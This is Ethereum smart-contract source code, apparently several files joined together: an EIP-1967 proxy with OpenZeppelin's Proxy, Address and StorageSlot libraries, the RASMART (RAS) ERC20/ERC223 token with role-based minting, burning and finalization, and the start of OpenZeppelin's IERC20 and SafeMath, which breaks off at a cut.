assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4;
Address.functionDelegateCall(
0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4,
abi.encodeWithSignature("initialize()")
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
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|
pragma solidity ^0.4.25;
/// @title Role based access control mixin for Rasmart Platform
/// @author Abha Mai <[email protected]>
/// @dev Ignore DRY approach to achieve readability
contract RBACMixin {
/// @notice Constant string message to throw on lack of access
string constant FORBIDDEN = "Haven't enough right to access";
/// @notice Public map of owners
mapping (address => bool) public owners;
/// @notice Public map of minters
mapping (address => bool) public minters;
/// @notice The event indicates the addition of a new owner
/// @param who is address of added owner
event AddOwner(address indexed who);
/// @notice The event indicates the deletion of an owner
/// @param who is address of deleted owner
event DeleteOwner(address indexed who);
/// @notice The event indicates the addition of a new minter
/// @param who is address of added minter
event AddMinter(address indexed who);
/// @notice The event indicates the deletion of a minter
/// @param who is address of deleted minter
event DeleteMinter(address indexed who);
constructor () public {
_setOwner(msg.sender, true);
}
/// @notice The functional modifier rejects the interaction of senders who are not owners
modifier onlyOwner() {
require(isOwner(msg.sender), FORBIDDEN);
_;
}
/// @notice Functional modifier for rejecting the interaction of senders that are not minters
modifier onlyMinter() {
require(isMinter(msg.sender), FORBIDDEN);
_;
}
/// @notice Look up for the owner role on providen address
/// @param _who is address to look up
/// @return A boolean of owner role
function isOwner(address _who) public view returns (bool) {
return owners[_who];
}
/// @notice Look up for the minter role on providen address
/// @param _who is address to look up
/// @return A boolean of minter role
function isMinter(address _who) public view returns (bool) {
return minters[_who];
}
/// @notice Adds the owner role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function addOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, true);
}
/// @notice Deletes the owner role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to delete role
/// @return A boolean that indicates if the operation was successful.
function deleteOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, false);
}
/// @notice Adds the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function addMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, true);
}
/// @notice Deletes the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to delete role
/// @return A boolean that indicates if the operation was successful.
function deleteMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, false);
}
/// @notice Changes the owner role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setOwner(address _who, bool _flag) private returns (bool) {
require(owners[_who] != _flag);
owners[_who] = _flag;
if (_flag) {
emit AddOwner(_who);
} else {
emit DeleteOwner(_who);
}
return true;
}
/// @notice Changes the minter role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setMinter(address _who, bool _flag) private returns (bool) {
require(minters[_who] != _flag);
minters[_who] = _flag;
if (_flag) {
emit AddMinter(_who);
} else {
emit DeleteMinter(_who);
}
return true;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract RBACMintableTokenMixin is StandardToken, RBACMixin {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
onlyMinter
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint internal returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract ERC223ReceiverMixin {
function tokenFallback(address _from, uint256 _value, bytes _data) public;
}
/// @title Custom implementation of ERC223
/// @author Abha Mai <[email protected]>
contract ERC223Mixin is StandardToken {
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool)
{
bytes memory empty;
return transferFrom(
_from,
_to,
_value,
empty);
}
function transferFrom(
address _from,
address _to,
uint256 _value,
bytes _data
) public returns (bool)
{
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
if (isContract(_to)) {
return transferToContract(
_from,
_to,
_value,
_data);
} else {
return transferToAddress(
_from,
_to,
_value,
_data);
}
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) {
if (isContract(_to)) {
return transferToContract(
msg.sender,
_to,
_value,
_data);
} else {
return transferToAddress(
msg.sender,
_to,
_value,
_data);
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
bytes memory empty;
return transfer(_to, _value, empty);
}
function isContract(address _addr) internal view returns (bool) {
uint256 length;
// solium-disable-next-line security/no-inline-assembly
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
function moveTokens(address _from, address _to, uint256 _value) internal returns (bool success) {
if (balanceOf(_from) < _value) {
revert();
}
balances[_from] = balanceOf(_from).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
return true;
}
function transferToAddress(
address _from,
address _to,
uint256 _value,
bytes _data
) internal returns (bool success)
{
require(moveTokens(_from, _to, _value));
emit Transfer(_from, _to, _value);
emit Transfer(_from, _to, _value, _data); // solium-disable-line arg-overflow
return true;
}
//function that is called when transaction target is a contract
function transferToContract(
address _from,
address _to,
uint256 _value,
bytes _data
) internal returns (bool success)
{
require(moveTokens(_from, _to, _value));
ERC223ReceiverMixin(_to).tokenFallback(_from, _value, _data);
emit Transfer(_from, _to, _value);
emit Transfer(_from, _to, _value, _data); // solium-disable-line arg-overflow
return true;
}
}
/// @title Role based token finalization mixin
/// @author Abha Mai <[email protected]>
contract RBACERC223TokenFinalization is ERC223Mixin, RBACMixin {
event Finalize();
/// @notice Public field inicates the finalization state of smart-contract
bool public finalized;
/// @notice The functional modifier rejects the interaction if contract isn't finalized
modifier isFinalized() {
require(finalized);
_;
}
/// @notice The functional modifier rejects the interaction if contract is finalized
modifier notFinalized() {
require(!finalized);
_;
}
/// @notice Finalizes contract
/// @dev Requires owner role to interact
/// @return A boolean that indicates if the operation was successful.
function finalize() public notFinalized onlyOwner returns (bool) {
finalized = true;
emit Finalize();
return true;
}
/// @dev Overrides ERC20 interface to prevent interaction before finalization
function transferFrom(address _from, address _to, uint256 _value) public isFinalized returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/// @dev Overrides ERC223 interface to prevent interaction before finalization
// solium-disable-next-line arg-overflow
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public isFinalized returns (bool) {
return super.transferFrom(_from, _to, _value, _data); // solium-disable-line arg-overflow
}
/// @dev Overrides ERC223 interface to prevent interaction before finalization
function transfer(address _to, uint256 _value, bytes _data) public isFinalized returns (bool) {
return super.transfer(_to, _value, _data);
}
/// @dev Overrides ERC20 interface to prevent interaction before finalization
function transfer(address _to, uint256 _value) public isFinalized returns (bool) {
return super.transfer(_to, _value);
}
/// @dev Overrides ERC20 interface to prevent interaction before finalization
function approve(address _spender, uint256 _value) public isFinalized returns (bool) {
return super.approve(_spender, _value);
}
/// @dev Overrides ERC20 interface to prevent interaction before finalization
function increaseApproval(address _spender, uint256 _addedValue) public isFinalized returns (bool) {
return super.increaseApproval(_spender, _addedValue);
}
/// @dev Overrides ERC20 interface to prevent interaction before finalization
function decreaseApproval(address _spender, uint256 _subtractedValue) public isFinalized returns (bool) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken, StandardToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
/// @title Rasmart Platform token implementation
/// @author Abha Mai <[email protected]>
/// @dev Implements ERC20, ERC223 and MintableToken interfaces as well as capped and finalization logic
contract RasmartToken is StandardBurnableToken, RBACERC223TokenFinalization, RBACMintableTokenMixin {
/// @notice Constant field with token full name
// solium-disable-next-line uppercase
string constant public name = "RASMART";
/// @notice Constant field with token symbol
string constant public symbol = "RAS"; // solium-disable-line uppercase
/// @notice Constant field with token precision depth
uint256 constant public decimals = 18; // solium-disable-line uppercase
/// @notice Constant field with token cap (total supply limit)
uint256 constant public cap = 500 * (10 ** 6) * (10 ** decimals); // solium-disable-line uppercase
/// @notice Overrides original mint function from MintableToken to limit minting over cap
/// @param _to The address that will receive the minted tokens.
/// @param _amount The amount of tokens to mint.
/// @return A boolean that indicates if the operation was successful.
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply().add(_amount) <= cap);
return super.mint(_to, _amount);
}
/// @notice Overrides finalize function from RBACERC223TokenFinalization to prevent future minting after finalization
/// @return A boolean that indicates if the operation was successful.
function finalize() public returns (bool) {
require(super.finalize());
require(finishMinting());
return true;
}
/// @notice Overrides finishMinting function from RBACMintableTokenMixin to prevent finishing minting before finalization
/// @return A boolean that indicates if the operation was successful.
function finishMinting() internal returns (bool) {
require(finalized == true);
require(super.finishMinting());
return true;
}
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|
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
